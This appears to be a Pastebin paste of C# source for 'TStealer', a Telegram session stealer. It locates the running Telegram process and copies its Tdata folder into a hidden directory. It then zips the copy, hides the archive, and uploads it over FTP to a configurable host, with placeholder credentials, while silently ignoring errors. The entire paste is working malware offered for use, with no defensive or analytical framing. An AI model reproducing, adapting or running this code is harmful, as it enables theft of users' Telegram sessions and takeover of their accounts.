adelurazov

Untitled

May 8th, 2021
734
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.IO;
  3. using System.Diagnostics;
  4. using System.IO.Compression;
  5. using System.Net;
  6. using System.Threading;
  7.  
  8. namespace TStealer
  9. {
  10.     class Program
  11.     {
  12.         private class StealStart
  13.         {
  14.             private bool in_folder = false;
  15.  
  16.  
  17.             public StealStart(string host = "", string login = "", string pass = "", bool del_zip = false)
  18.             {
  19.                 new Thread(() => StealIt(host, login, pass, del_zip)).Start();
  20.             }
  21.  
  22.  
  23.             private void StealIt(string host, string login, string pass, bool del_zip)
  24.             {
  25.                 var prcName = "Telegram";
  26.                 Process[] processByName = Process.GetProcessesByName(prcName);
  27.  
  28.                 if (processByName.Length < 1)
  29.                     return;
  30.  
  31.                 var dir_from = Path.GetDirectoryName(processByName[0].MainModule.FileName) + "\\Tdata";
  32.                 var this_fileLocation = System.Reflection.Assembly.GetEntryAssembly().Location;
  33.                 var dir_to = Path.GetDirectoryName(this_fileLocation) +
  34.                             "\\Tdata_" +
  35.                             (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds
  36.                             ;
  37.                 var zipPath = dir_to + ".zip";
  38.  
  39.  
  40.                 CopyAll(dir_from, dir_to);
  41.                 ZipDir(dir_to, zipPath);
  42.                 Directory.Delete(dir_to, true);
  43.  
  44.                 if (host == "")
  45.                     return;
  46.      
  47.                 LoadOnFtp(zipPath, host, login, pass);
  48.  
  49.                 if(del_zip)
  50.                     File.Delete(zipPath);
  51.             }
  52.  
  53.  
  54.             private void CopyAll(string fromDir, string toDir)
  55.             {
  56.                 DirectoryInfo di = Directory.CreateDirectory(toDir);
  57.  
  58.                 di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
  59.  
  60.                 foreach (string s1 in Directory.GetFiles(fromDir))
  61.                     CopyFile(s1, toDir);
  62.  
  63.                 foreach (string s in Directory.GetDirectories(fromDir))
  64.                     CopyDir(s, toDir);
  65.             }
  66.  
  67.  
  68.             private void CopyFile(string s1, string toDir)
  69.             {
  70.                 try
  71.                 {
  72.                     var fname = Path.GetFileName(s1);
  73.  
  74.                     if (in_folder && !(fname[0] == 'm' || fname[1] == 'a' || fname[2] == 'p'))
  75.                         return;
  76.  
  77.                     var s2 = toDir + "\\" + fname;
  78.  
  79.                     File.Copy(s1, s2);
  80.                 }
  81.                 catch { }
  82.             }
  83.  
  84.  
  85.             private void CopyDir(string s, string toDir)
  86.             {
  87.                 try
  88.                 {
  89.                     in_folder = true;
  90.                     CopyAll(s, toDir + "\\" + Path.GetFileName(s));
  91.                     in_folder = false;
  92.                 }
  93.                 catch { }
  94.             }
  95.  
  96.  
  97.             private void ZipDir(string dir_to, string zipPath)
  98.             {
  99.                 try
  100.                 {
  101.                     ZipFile.CreateFromDirectory(dir_to, zipPath);
  102.                     File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
  103.                 }
  104.                 catch { }
  105.             }
  106.  
  107.  
  108.             private void LoadOnFtp(string zipPath, string host, string login, string pass)
  109.             {
  110.                 try
  111.                 {
  112.                     using (WebClient client = new WebClient())
  113.                     {
  114.                         client.Credentials = new NetworkCredential(login, pass);
  115.  
  116.                         client.UploadFile("ftp://" + host + "/" + Path.GetFileName(zipPath), "STOR", zipPath);
  117.                     }
  118.                 }
  119.                 catch { }
  120.             }
  121.         }
  122.  
  123.  
  124.         static void Main(string[] args)
  125.         {
  126.             //var stealT = new StealStart();
  127.  
  128.             var host    =   "example.host.com";
  129.             var login   =   "example_login";
  130.             var pass    =   "example_pass";
  131.  
  132.             var steal_With_FTP = new StealStart(host, login, pass, false);
  133.         }
  134.     }
  135. }
RAW Paste Data